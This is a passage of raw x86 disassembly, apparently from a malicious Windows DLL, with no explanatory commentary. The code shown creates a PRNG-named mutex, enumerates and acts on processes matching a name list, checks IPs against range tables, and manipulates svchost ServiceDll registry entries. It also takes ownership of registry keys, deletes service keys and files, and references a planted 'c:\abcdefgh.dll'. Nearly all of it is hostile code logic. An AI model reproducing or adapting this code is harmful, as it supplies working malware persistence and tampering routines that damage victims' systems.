		jz	short loc_9A3F14
		push	offset dword_9BB0D0
		push	offset dword_9BB0CC
		mov	esi, ebx
		call	sub_9A71B6
		pop	ecx
		jmp	short loc_9A3F25
; ---------------------------------------------------------------------------


loc_9A3F14:				; CODE XREF: DllMain(x,x,x)+25j
		push	esi
		mov	dword_9BB0CC, esi
		call	sub_9A7177
		mov	dword_9BB0D0, eax


loc_9A3F25:				; CODE XREF: DllMain(x,x,x)+39j
		pop	ecx
		push	esi		; hLibModule
		call	DisableThreadLibraryCalls
		test	ebx, ebx
		jz	short loc_9A3F89
		call	GetCurrentProcessId
		xor	eax, 630063h
		push	eax		; Seed
		call	srand
		call	rand
		push	7
		cdq
		pop	ecx
		idiv	ecx
		lea	eax, [ebp+Name]
		add	edx, 0Ah
		push	edx
		push	eax
		call	sub_9A5E65
		add	esp, 0Ch
		lea	eax, [ebp+Name]
		push	eax		; lpName
		push	0		; bInitialOwner
		push	0		; lpMutexAttributes
		call	CreateMutexA
		mov	edi, eax
		test	edi, edi
		jz	short loc_9A3F89
		call	GetLastError
		cmp	eax, 0B7h
		jnz	short loc_9A3F89
		push	edi		; hObject
		call	CloseHandle
		jmp	short loc_9A3F9E
; ---------------------------------------------------------------------------


loc_9A3F89:				; CODE XREF: DllMain(x,x,x)+56j
					; DllMain(x,x,x)+98j ...
		call	GetVersion
		cmp	al, 5
		jb	short loc_9A3F9A
		mov	ecx, esi	; hModule
		call	sub_9A3C63


loc_9A3F9A:				; CODE XREF: DllMain(x,x,x)+B8j
		test	ebx, ebx
		jz	short loc_9A3FA2


loc_9A3F9E:				; CODE XREF: DllMain(x,x,x)+AEj
		xor	eax, eax
		jmp	short loc_9A3FA5
; ---------------------------------------------------------------------------


loc_9A3FA2:				; CODE XREF: DllMain(x,x,x)+1Aj
					; DllMain(x,x,x)+C3j
		xor	eax, eax
		inc	eax


loc_9A3FA5:				; CODE XREF: DllMain(x,x,x)+C7j
		mov	ecx, [ebp+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_9AAAC1
		leave
		retn	0Ch
_DllMain@12	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_9A3FB6(char *lpFirst)

sub_9A3FB6	proc near		; CODE XREF: sub_9A53AE+1Cp
					; sub_9A5421+71p ...

lpFirst		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+lpFirst]
		push	ebp
		push	edi
		push	2Eh		; Ch
		push	ebx		; Str
		xor	ebp, ebp
		call	strrchr
		mov	edi, eax
		test	edi, edi
		pop	ecx
		pop	ecx
		jz	short loc_9A402D
		push	esi
		xor	esi, esi


loc_9A3FD3:				; CODE XREF: sub_9A3FB6+37j
		push	off_9B8090[esi]	; lpSrch
		push	ebx		; lpFirst
		call	StrStrIA
		test	eax, eax
		jnz	short loc_9A4029
		add	esi, 4
		cmp	esi, 13Ch
		jb	short loc_9A3FD3
		jmp	short loc_9A3FFB
; ---------------------------------------------------------------------------


loc_9A3FF1:				; CODE XREF: sub_9A3FB6+47j
		lea	eax, [edi-1]
		cmp	byte ptr [eax],	2Eh
		jz	short loc_9A3FFF
		mov	edi, eax


loc_9A3FFB:				; CODE XREF: sub_9A3FB6+39j
		cmp	edi, ebx
		ja	short loc_9A3FF1


loc_9A3FFF:				; CODE XREF: sub_9A3FB6+41j
		xor	ebx, ebx


loc_9A4001:				; CODE XREF: sub_9A3FB6+6Fj
		lea	esi, off_9B81CC[ebx]
		push	dword ptr [esi]	; Str
		call	strlen
		push	eax		; MaxCount
		push	dword ptr [esi]	; Str
		push	edi		; Str1
		call	_strnicmp
		add	esp, 10h
		test	eax, eax
		jz	short loc_9A4029
		add	ebx, 4
		cmp	ebx, 38h
		jb	short loc_9A4001
		jmp	short loc_9A402C
; ---------------------------------------------------------------------------


loc_9A4029:				; CODE XREF: sub_9A3FB6+2Cj
					; sub_9A3FB6+67j
		xor	ebp, ebp
		inc	ebp


loc_9A402C:				; CODE XREF: sub_9A3FB6+71j
		pop	esi


loc_9A402D:				; CODE XREF: sub_9A3FB6+18j
		pop	edi
		mov	eax, ebp
		pop	ebp
		pop	ebx
		retn
sub_9A3FB6	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_9A4033(u_long	netlong)

sub_9A4033	proc near		; CODE XREF: sub_9A857A+1F8p
					; sub_9AFCA0+6p

netlong		= dword	ptr  4

		push	esi
		push	[esp+4+netlong]
		xor	esi, esi
		call	sub_9A5C88
		test	eax, eax
		pop	ecx
		jz	short loc_9A4070
		push	[esp+4+netlong]	; netlong
		call	ntohl
		xor	ecx, ecx


loc_9A4050:				; CODE XREF: sub_9A4033+36j
		cmp	eax, dword_9A15F8[ecx]
		jb	short loc_9A4070
		cmp	eax, dword_9A15FC[ecx]
		jbe	short loc_9A406D
		add	ecx, 8
		cmp	ecx, 0C78h
		jb	short loc_9A4050
		jmp	short loc_9A4070
; ---------------------------------------------------------------------------


loc_9A406D:				; CODE XREF: sub_9A4033+2Bj
		xor	esi, esi
		inc	esi


loc_9A4070:				; CODE XREF: sub_9A4033+Fj
					; sub_9A4033+23j ...
		mov	eax, esi
		pop	esi
		retn
sub_9A4033	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A4074	proc near		; CODE XREF: sub_9A3939p

var_14C		= dword	ptr -14Ch
var_148		= dword	ptr -148h
Str		= PROCESSENTRY32 ptr -144h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	13Ch
		push	offset stru_9A26B0
		call	__SEH_prolog
		mov	eax, dword_9B8788
		xor	eax, ebp
		mov	[ebp+var_1C], eax
		xor	ebx, ebx
		mov	[ebp+ms_exc.disabled], ebx
		push	ebx		; th32ProcessID
		push	2		; dwFlags
		call	CreateToolhelp32Snapshot
		mov	esi, eax
		mov	[ebp+var_14C], esi
		cmp	esi, 0FFFFFFFFh
		jz	loc_9A4143
		mov	[ebp+Str.dwSize], 128h
		push	49h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+Str.cntUsage]
		rep stosd
		lea	eax, [ebp+Str]
		push	eax		; lppe
		push	esi		; hSnapshot
		call	Process32First
		jmp	short loc_9A412F
; ---------------------------------------------------------------------------


loc_9A40D1:				; CODE XREF: sub_9A4074+BDj
		lea	eax, [ebp+Str.szExeFile]
		push	eax		; Str
		call	_strlwr
		pop	ecx
		mov	[ebp+var_148], ebx


loc_9A40E5:				; CODE XREF: sub_9A4074+ACj
		cmp	[ebp+var_148], 17h
		jnb	short loc_9A4122
		mov	eax, [ebp+var_148]
		push	off_9B8030[eax*4] ; SubStr
		lea	eax, [ebp+Str.szExeFile]
		push	eax		; Str
		call	strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_9A411A
		push	[ebp+Str.th32ProcessID]	; dwProcessId
		call	sub_9A62C0
		pop	ecx


loc_9A411A:				; CODE XREF: sub_9A4074+98j
		inc	[ebp+var_148]
		jmp	short loc_9A40E5
; ---------------------------------------------------------------------------


loc_9A4122:				; CODE XREF: sub_9A4074+78j
		lea	eax, [ebp+Str]
		push	eax		; lppe
		push	esi		; hSnapshot
		call	Process32Next


loc_9A412F:				; CODE XREF: sub_9A4074+5Bj
		test	eax, eax
		jnz	short loc_9A40D1
		push	esi		; hObject
		call	CloseHandle
		jmp	short loc_9A4143
; ---------------------------------------------------------------------------


loc_9A413C:				; DATA XREF: .text:stru_9A26B0o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_9A4140:				; DATA XREF: .text:stru_9A26B0o
		mov	esp, [ebp+ms_exc.old_esp]


loc_9A4143:				; CODE XREF: sub_9A4074+31j
					; sub_9A4074+C6j
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	ecx, [ebp+var_1C]
		xor	ecx, ebp
		call	sub_9AAAC1
		call	__SEH_epilog
		retn
sub_9A4074	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A4157	proc near		; CODE XREF: sub_9A4358+2B0p

NumberOfBytesRead= dword ptr -0Ch
var_8		= dword	ptr -8
Buffer		= byte ptr -1

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, wcslen
		push	edi
		mov	edi, eax
		xor	ebx, ebx
		push	edi		; Str
		mov	[ebp+var_8], ebx
		call	esi ; wcslen
		cmp	eax, 4
		pop	ecx
		jbe	loc_9A4200
		push	offset a_dll	; ".dll"
		push	edi		; Str
		call	esi ; wcslen
		pop	ecx
		lea	eax, [edi+eax*2-8]
		push	eax		; Str1
		call	_wcsicmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_9A4200
		push	ebx		; hTemplateFile
		push	80h		; dwFlagsAndAttributes
		push	3		; dwCreationDisposition
		push	ebx		; lpSecurityAttributes
		push	7		; dwShareMode
		push	80000000h	; dwDesiredAccess
		push	edi		; lpFileName
		call	CreateFileW
		mov	esi, GetLastError
		mov	edi, eax
		call	esi ; GetLastError
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_9A41CD
		cmp	eax, 20h
		jz	short loc_9A41C4
		cmp	eax, 5
		jnz	short loc_9A41CD


loc_9A41C4:				; CODE XREF: sub_9A4157+66j
		mov	[ebp+var_8], 1
		jmp	short loc_9A41FB
; ---------------------------------------------------------------------------


loc_9A41CD:				; CODE XREF: sub_9A4157+61j
					; sub_9A4157+6Bj
		push	ebx		; lpOverlapped
		lea	eax, [ebp+NumberOfBytesRead]
		push	eax		; lpNumberOfBytesRead
		xor	ebx, ebx
		inc	ebx
		push	ebx		; nNumberOfBytesToRead
		lea	eax, [ebp+Buffer]
		push	eax		; lpBuffer
		push	edi		; hFile
		call	ReadFile
		test	eax, eax
		jnz	short loc_9A41EF
		call	esi ; GetLastError
		cmp	eax, 21h
		jnz	short loc_9A41EF
		mov	[ebp+var_8], ebx


loc_9A41EF:				; CODE XREF: sub_9A4157+8Cj
					; sub_9A4157+93j
		cmp	edi, 0FFFFFFFFh
		jz	short loc_9A41FB
		push	edi		; hObject
		call	CloseHandle


loc_9A41FB:				; CODE XREF: sub_9A4157+74j
					; sub_9A4157+9Bj
		mov	eax, [ebp+var_8]
		jmp	short loc_9A4202
; ---------------------------------------------------------------------------


loc_9A4200:				; CODE XREF: sub_9A4157+1Dj
					; sub_9A4157+3Bj
		xor	eax, eax


loc_9A4202:				; CODE XREF: sub_9A4157+A7j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_9A4157	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A4207	proc near		; CODE XREF: sub_9A4358+2E4p

pszSubKey	= word ptr -20Ch
var_1C6		= byte ptr -1C6h
var_6		= word ptr -6
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		mov	eax, dword_9B8788
		push	esi
		push	edi
		push	11h
		pop	ecx
		mov	esi, offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\"
		lea	edi, [ebp+pszSubKey]
		rep movsd
		xor	eax, ebp
		mov	[ebp+var_4], eax
		push	70h
		movsw
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_1C6]
		rep stosd
		push	104h		; Count
		stosw
		push	edx		; Source
		lea	eax, [ebp+pszSubKey]
		push	eax		; Dest
		call	wcsncat
		and	[ebp+var_6], 0
		push	1
		lea	eax, [ebp+pszSubKey]
		push	eax
		mov	esi, 80000002h
		push	esi
		call	sub_9A7001
		add	esp, 18h
		lea	eax, [ebp+pszSubKey]
		push	eax		; pszSubKey
		push	esi		; hkey
		call	SHDeleteKeyW
		mov	ecx, [ebp+var_4]
		neg	eax
		sbb	eax, eax
		pop	edi
		xor	ecx, ebp
		inc	eax
		pop	esi
		call	sub_9AAAC1
		leave
		retn
sub_9A4207	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=7A8h

; int __fastcall sub_9A428D(LPCWSTR lpServiceName)

sub_9A428D	proc near		; CODE XREF: sub_9A4358+2BFp

ServiceStatus	= _SERVICE_STATUS ptr -828h
pcbBytesNeeded	= dword	ptr -80Ch
var_808		= dword	ptr -808h
ServiceConfig	= _QUERY_SERVICE_CONFIGA ptr -804h
var_4		= dword	ptr -4

		push	ebp
		lea	ebp, [esp-7A8h]
		sub	esp, 828h
		mov	eax, dword_9B8788
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	80000000h	; dwDesiredAccess
		push	edi		; lpDatabaseName
		xor	eax, ebp
		push	edi		; lpMachineName
		mov	[ebp+7A8h+var_4], eax
		mov	esi, ecx
		mov	[ebp+7A8h+var_808], edi
		call	OpenSCManagerA
		mov	ebx, eax
		cmp	ebx, edi
		jz	short loc_9A433D
		push	5		; dwDesiredAccess
		push	esi		; lpServiceName
		push	ebx		; hSCManager
		call	OpenServiceW
		mov	esi, eax
		cmp	esi, edi
		mov	edi, CloseServiceHandle
		jz	short loc_9A4326
		lea	eax, [ebp+7A8h+ServiceStatus]
		push	eax		; lpServiceStatus
		push	esi		; hService
		call	QueryServiceStatus
		test	eax, eax
		jz	short loc_9A4321
		lea	eax, [ebp+7A8h+pcbBytesNeeded]
		push	eax		; pcbBytesNeeded
		push	800h		; cbBufSize
		lea	eax, [ebp+7A8h+ServiceConfig]
		push	eax		; lpServiceConfig
		push	esi		; hService
		call	QueryServiceConfigA
		test	eax, eax
		jz	short loc_9A4321
		cmp	[ebp+7A8h+ServiceConfig.dwServiceType],	20h
		jnz	short loc_9A431D
		cmp	[ebp+7A8h+ServiceConfig.dwStartType], 2
		jnz	short loc_9A431D
		cmp	[ebp+7A8h+ServiceStatus.dwCurrentState], 4
		jz	short loc_9A431D
		mov	[ebp+7A8h+var_808], 1
		jmp	short loc_9A4321
; ---------------------------------------------------------------------------


loc_9A431D:				; CODE XREF: sub_9A428D+79j
					; sub_9A428D+7Fj ...
		and	[ebp+7A8h+var_808], 0


loc_9A4321:				; CODE XREF: sub_9A428D+5Bj
					; sub_9A428D+73j ...
		push	esi		; hSCObject
		call	edi ; CloseServiceHandle
		jmp	short loc_9A433A
; ---------------------------------------------------------------------------


loc_9A4326:				; CODE XREF: sub_9A428D+4Cj
		call	GetLastError
		cmp	eax, 424h
		jnz	short loc_9A433A
		mov	[ebp+7A8h+var_808], 1


loc_9A433A:				; CODE XREF: sub_9A428D+97j
					; sub_9A428D+A4j
		push	ebx		; hSCObject
		call	edi ; CloseServiceHandle


loc_9A433D:				; CODE XREF: sub_9A428D+36j
		mov	ecx, [ebp+7A8h+var_4]
		mov	eax, [ebp+7A8h+var_808]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_9AAAC1
		add	ebp, 7A8h
		leave
		retn
sub_9A428D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A4358	proc near		; CODE XREF: sub_9A471B+129p
					; sub_9A471B+144p

var_2E4		= dword	ptr -2E4h
var_2E0		= dword	ptr -2E0h
var_2DC		= dword	ptr -2DCh
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
Dst		= word ptr -2D0h
Type		= dword	ptr -2CCh
psidOwner	= dword	ptr -2C8h
Count		= dword	ptr -2C4h
var_2C0		= dword	ptr -2C0h
Data		= byte ptr -2B9h
var_2B8		= dword	ptr -2B8h
var_2B4		= dword	ptr -2B4h
hMem		= dword	ptr -2B0h
cbData		= dword	ptr -2ACh
hKey		= dword	ptr -2A8h
lpServiceName	= dword	ptr -2A4h
lpWideCharStr	= dword	ptr -2A0h
Str1		= word ptr -29Ch
Source		= word ptr -94h
var_4C		= byte ptr -4Ch
ValueName	= word ptr -34h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	2D4h
		push	offset stru_9A27B0
		call	__SEH_prolog
		mov	eax, dword_9B8788
		xor	eax, ebp
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+lpServiceName], eax
		push	104h		; cchWideChar
		lea	eax, [ebp+Str1]
		push	eax		; lpWideCharStr
		push	0FFFFFFFFh	; cbMultiByte
		push	offset FileName	; "c:\\abcdefgh.dll"
		xor	ebx, ebx
		push	ebx		; dwFlags
		push	ebx		; CodePage
		call	MultiByteToWideChar
		test	eax, eax
		jz	short loc_9A43FC
		mov	[ebp+var_2C0], ebx
		mov	[ebp+ms_exc.disabled], ebx
		push	11h
		pop	ecx
		mov	esi, offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\"
		lea	edi, [ebp+Source]
		rep movsd
		movsw
		push	6
		pop	ecx
		mov	esi, offset aParameters	; "\\Parameters"
		lea	edi, [ebp+var_4C]
		rep movsd
		push	[ebp+lpServiceName] ; Str
		call	wcslen
		pop	ecx
		lea	esi, [eax+eax+5Ch]
		mov	[ebp+var_2DC], esi
		push	esi		; dwBytes
		push	40h		; uFlags
		call	GlobalAlloc
		mov	edi, eax
		mov	[ebp+var_2D4], edi
		cmp	edi, ebx
		jnz	short loc_9A4403
		push	0FFFFFFFFh
		lea	eax, [ebp+ms_exc.prev_er]
		push	eax
		call	__local_unwind2
		pop	ecx
		pop	ecx


loc_9A43FC:				; CODE XREF: sub_9A4358+41j
		xor	eax, eax
		jmp	loc_9A470A
; ---------------------------------------------------------------------------


loc_9A4403:				; CODE XREF: sub_9A4358+95j
		shr	esi, 1
		mov	[ebp+Count], esi
		push	esi		; Count
		lea	eax, [ebp+Source]
		push	eax		; Source
		push	edi		; Dest
		call	wcsncpy
		lea	esi, [edi+esi*2-2]
		mov	[esi], bx
		push	[ebp+Count]	; Count
		push	[ebp+lpServiceName] ; Source
		push	edi		; Dest
		call	wcsncat
		mov	[esi], bx
		push	[ebp+Count]	; Count
		lea	eax, [ebp+var_4C]
		push	eax		; Source
		push	edi		; Dest
		call	wcsncat
		add	esp, 24h
		mov	[esi], bx
		mov	[ebp+var_2B8], ebx
		mov	[ebp+psidOwner], ebx
		lea	eax, [ebp+hKey]
		push	eax		; phkResult
		push	20019h		; samDesired
		push	ebx		; ulOptions
		push	edi		; lpSubKey
		mov	esi, 80000002h
		push	esi		; hKey
		call	RegOpenKeyExW
		mov	[ebp+var_2B4], eax
		cmp	eax, 5
		jnz	short loc_9A44BB
		lea	eax, [ebp+var_2B8]
		push	eax		; int
		lea	eax, [ebp+psidOwner]
		push	eax		; ppsidOwner
		push	edi		; int
		push	esi		; int
		call	sub_9A706C
		push	1
		push	edi
		push	esi
		call	sub_9A7001
		add	esp, 1Ch
		lea	eax, [ebp+hKey]
		push	eax		; phkResult
		push	20019h		; samDesired
		push	ebx		; ulOptions
		push	edi		; lpSubKey
		push	esi		; hKey
		call	RegOpenKeyExW
		mov	[ebp+var_2B4], eax


loc_9A44BB:				; CODE XREF: sub_9A4358+125j
		cmp	eax, ebx
		jnz	loc_9A46D6
		mov	[ebp+Type], 2
		mov	[ebp+cbData], 1
		push	5
		pop	ecx
		mov	esi, offset aServicedll	; "ServiceDll"
		lea	edi, [ebp+ValueName]
		rep movsd
		movsw
		lea	eax, [ebp+cbData]
		push	eax		; lpcbData
		lea	eax, [ebp+Data]
		push	eax		; lpData
		lea	eax, [ebp+Type]
		push	eax		; lpType
		push	ebx		; lpReserved
		lea	eax, [ebp+ValueName]
		push	eax		; lpValueName
		push	[ebp+hKey]	; hKey
		mov	esi, RegQueryValueExW
		call	esi ; RegQueryValueExW
		mov	[ebp+var_2B4], eax
		cmp	eax, 0EAh
		jnz	loc_9A46BF
		cmp	[ebp+cbData], ebx
		jz	loc_9A46BF
		push	[ebp+cbData]	; dwBytes
		push	40h		; uFlags
		mov	edi, GlobalAlloc
		call	edi ; GlobalAlloc
		mov	[ebp+hMem], eax
		cmp	eax, ebx
		jz	loc_9A46BF
		lea	ecx, [ebp+cbData]
		push	ecx		; lpcbData
		push	eax		; lpData
		lea	eax, [ebp+Type]
		push	eax		; lpType
		push	ebx		; lpReserved
		lea	eax, [ebp+ValueName]
		push	eax		; lpValueName
		push	[ebp+hKey]	; hKey
		call	esi ; RegQueryValueExW
		mov	[ebp+var_2B4], eax
		cmp	eax, ebx
		jnz	loc_9A46B3
		push	2		; nSize
		lea	eax, [ebp+Dst]
		push	eax		; lpDst
		push	[ebp+hMem]	; lpSrc
		call	ExpandEnvironmentStringsW
		mov	esi, eax
		mov	[ebp+var_2E4], esi
		cmp	esi, ebx
		jz	loc_9A46B3
		lea	eax, [esi+esi]
		push	eax		; dwBytes
		push	40h		; uFlags
		call	edi ; GlobalAlloc
		mov	[ebp+lpWideCharStr], eax
		cmp	eax, ebx
		jz	loc_9A46B3
		push	esi		; nSize
		push	eax		; lpDst
		push	[ebp+hMem]	; lpSrc
		call	ExpandEnvironmentStringsW
		cmp	esi, eax
		jnz	loc_9A46A7
		cmp	[ebp+arg_8], ebx
		jz	short loc_9A4602
		push	[ebp+lpWideCharStr] ; Str
		call	wcslen
		mov	[ebp+var_2E0], eax
		push	eax		; MaxCount
		push	[ebp+lpWideCharStr] ; Str2
		lea	eax, [ebp+Str1]
		push	eax		; Str1
		call	_wcsnicmp
		add	esp, 10h
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_2C0], eax
		jmp	loc_9A46A7
; ---------------------------------------------------------------------------


loc_9A4602:				; CODE XREF: sub_9A4358+26Fj
		mov	eax, [ebp+lpWideCharStr]
		call	sub_9A4157
		test	eax, eax
		jz	short loc_9A4625
		mov	ecx, [ebp+lpServiceName] ; lpServiceName
		call	sub_9A428D
		test	eax, eax
		jz	short loc_9A4625
		xor	eax, eax
		inc	eax
		jmp	short loc_9A4627
; ---------------------------------------------------------------------------


loc_9A4625:				; CODE XREF: sub_9A4358+2B7j
					; sub_9A4358+2C6j
		xor	eax, eax


loc_9A4627:				; CODE XREF: sub_9A4358+2CBj
		mov	[ebp+var_2C0], eax
		cmp	eax, ebx
		jz	short loc_9A46A7
		cmp	[ebp+arg_4], ebx
		jz	short loc_9A46A7
		mov	edx, [ebp+lpServiceName]
		call	sub_9A4207
		test	eax, eax
		jz	short loc_9A46A7
		push	esi		; dwBytes
		push	40h		; uFlags
		call	edi ; GlobalAlloc
		mov	edi, eax
		mov	[ebp+var_2D8], edi
		cmp	edi, ebx
		jz	short loc_9A4688
		push	ebx		; lpUsedDefaultChar
		push	ebx		; lpDefaultChar
		push	esi		; cbMultiByte
		push	edi		; lpMultiByteStr
		push	0FFFFFFFFh	; cchWideChar
		push	[ebp+lpWideCharStr] ; lpWideCharStr
		push	ebx		; dwFlags
		push	ebx		; CodePage
		call	WideCharToMultiByte
		test	eax, eax
		jz	short loc_9A4681
		mov	[edi+esi-1], bl
		push	ebx		; int
		push	1F01FFh		; int
		push	edi		; Str
		call	sub_9A68CA
		add	esp, 0Ch


loc_9A4681:				; CODE XREF: sub_9A4358+314j
		push	edi		; hMem
		call	GlobalFree


loc_9A4688:				; CODE XREF: sub_9A4358+2FCj
		push	[ebp+lpWideCharStr] ; lpFileName
		call	DeleteFileW
		test	eax, eax
		jnz	short loc_9A46A7
		push	4		; dwFlags
		push	ebx		; lpNewFileName
		push	[ebp+lpWideCharStr] ; lpExistingFileName
		call	MoveFileExW


loc_9A46A7:				; CODE XREF: sub_9A4358+266j
					; sub_9A4358+2A5j ...
		push	[ebp+lpWideCharStr] ; hMem
		call	GlobalFree


loc_9A46B3:				; CODE XREF: sub_9A4358+215j
					; sub_9A4358+23Aj ...
		push	[ebp+hMem]	; hMem
		call	GlobalFree


loc_9A46BF:				; CODE XREF: sub_9A4358+1C1j
					; sub_9A4358+1CDj ...
		push	[ebp+hKey]	; hKey
		call	RegCloseKey
		mov	edi, [ebp+var_2D4]
		mov	esi, 80000002h


loc_9A46D6:				; CODE XREF: sub_9A4358+165j
		cmp	[ebp+var_2B8], ebx
		jz	short loc_9A46F4
		push	[ebp+var_2B8]	; int
		push	[ebp+psidOwner]	; psidOwner
		push	edi		; int
		push	esi		; int
		call	sub_9A70DD
		add	esp, 10h


loc_9A46F4:				; CODE XREF: sub_9A4358+384j
		push	edi		; hMem
		call	GlobalFree
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	nullsub_1
		mov	eax, [ebp+var_2C0]


loc_9A470A:				; CODE XREF: sub_9A4358+A6j
		mov	ecx, [ebp+var_1C]
		xor	ecx, ebp
		call	sub_9AAAC1
		call	__SEH_epilog
		retn
sub_9A4358	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9A471B(LPCWSTR lpValueName,int,int,int)

sub_9A471B	proc near		; CODE XREF: sub_9A394B+1Dp

var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
psidOwner	= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
Type		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
hKey		= dword	ptr -2Ch
Source		= dword	ptr -28h
lpData		= dword	ptr -24h
cbData		= dword	ptr -20h
Data		= byte ptr -19h
ms_exc		= CPPEH_RECORD ptr -18h
lpValueName	= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	44h
		push	offset stru_9A27C0
		call	__SEH_prolog
		xor	edi, edi
		mov	[ebp+var_30], edi
		mov	[ebp+ms_exc.disabled], edi
		mov	[ebp+var_34], edi
		mov	[ebp+psidOwner], edi
		lea	eax, [ebp+hKey]
		push	eax		; phkResult
		push	3		; samDesired
		push	edi		; ulOptions
		mov	ebx, offset SubKey ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"...
		push	ebx		; lpSubKey
		push	80000002h	; hKey
		mov	esi, RegOpenKeyExW
		call	esi ; RegOpenKeyExW
		mov	[ebp+var_48], eax
		cmp	eax, 5
		jnz	short loc_9A478C
		lea	eax, [ebp+var_34]
		push	eax		; int
		lea	eax, [ebp+psidOwner]
		push	eax		; ppsidOwner
		push	ebx		; int
		push	80000002h	; int
		call	sub_9A706C
		push	1
		push	ebx
		push	80000002h
		call	sub_9A7001
		add	esp, 1Ch
		lea	eax, [ebp+hKey]
		push	eax		; phkResult
		push	3		; samDesired
		push	edi		; ulOptions
		push	ebx		; lpSubKey
		push	80000002h	; hKey
		call	esi ; RegOpenKeyExW
		mov	[ebp+var_48], eax


loc_9A478C:				; CODE XREF: sub_9A471B+3Aj
		cmp	eax, edi
		jnz	loc_9A491B
		mov	[ebp+cbData], 1
		mov	[ebp+Type], 7
		lea	eax, [ebp+cbData]
		push	eax		; lpcbData
		lea	eax, [ebp+Data]
		push	eax		; lpData
		lea	eax, [ebp+Type]
		push	eax		; lpType
		push	edi		; lpReserved
		push	[ebp+lpValueName] ; lpValueName
		push	[ebp+hKey]	; hKey
		mov	esi, RegQueryValueExW
		call	esi ; RegQueryValueExW
		mov	[ebp+var_40], eax
		cmp	eax, 0EAh
		jnz	loc_9A4912
		push	[ebp+cbData]	; dwBytes
		push	40h		; uFlags
		call	GlobalAlloc
		mov	[ebp+Source], eax
		push	[ebp+cbData]	; dwBytes
		push	40h		; uFlags
		call	GlobalAlloc
		mov	[ebp+lpData], eax
		cmp	[ebp+Source], edi
		jz	loc_9A48F6
		cmp	eax, edi
		jz	loc_9A48F6
		lea	eax, [ebp+cbData]
		push	eax		; lpcbData
		push	[ebp+Source]	; lpData
		lea	eax, [ebp+Type]
		push	eax		; lpType
		push	edi		; lpReserved
		push	[ebp+lpValueName] ; lpValueName
		push	[ebp+hKey]	; hKey
		call	esi ; RegQueryValueExW
		mov	[ebp+var_40], eax
		mov	ebx, [ebp+Source]
		mov	[ebp+var_50], ebx
		mov	esi, [ebp+lpData]
		mov	[ebp+var_4C], esi
		mov	[ebp+var_3C], edi


loc_9A481E:				; CODE XREF: sub_9A471B+1A4j
		mov	eax, ebx
		sub	eax, [ebp+Source]
		sar	eax, 1
		mov	ecx, [ebp+cbData]
		shr	ecx, 1
		cmp	eax, ecx
		jnb	loc_9A48C4
		cmp	[ebx], di
		jz	loc_9A48C4
		cmp	[ebp+arg_8], edi
		jz	short loc_9A485B
		push	1
		push	edi
		push	ebx
		call	sub_9A4358
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_9A48B0
		push	[ebp+arg_C]
		push	ebx
		call	[ebp+arg_8]
		pop	ecx
		pop	ecx
		jmp	short loc_9A48B0
; ---------------------------------------------------------------------------


loc_9A485B:				; CODE XREF: sub_9A471B+123j
		push	edi
		push	1
		push	ebx
		call	sub_9A4358
		add	esp, 0Ch
		mov	[ebp+var_54], eax
		cmp	eax, edi
		jnz	short loc_9A48A9
		mov	eax, [ebp+cbData]
		shr	eax, 1
		shl	eax, 1
		sub	eax, esi
		add	eax, [ebp+lpData]
		sar	eax, 1
		push	eax		; Count
		push	ebx		; Source
		push	esi		; Dest
		call	wcsncpy
		push	esi		; Str
		call	wcslen
		add	esp, 10h
		lea	esi, [esi+eax*2+2]
		mov	[ebp+var_4C], esi
		mov	[esi], di
		mov	eax, esi
		sub	eax, [ebp+lpData]
		sar	eax, 1
		lea	eax, [eax+eax+2]
		mov	[ebp+var_3C], eax
		jmp	short loc_9A48B0
; ---------------------------------------------------------------------------


loc_9A48A9:				; CODE XREF: sub_9A471B+151j
		mov	[ebp+var_30], 1


loc_9A48B0:				; CODE XREF: sub_9A471B+133j
					; sub_9A471B+13Ej ...
		push	ebx		; Str
		call	wcslen
		pop	ecx
		lea	ebx, [ebx+eax*2+2]
		mov	[ebp+var_50], ebx
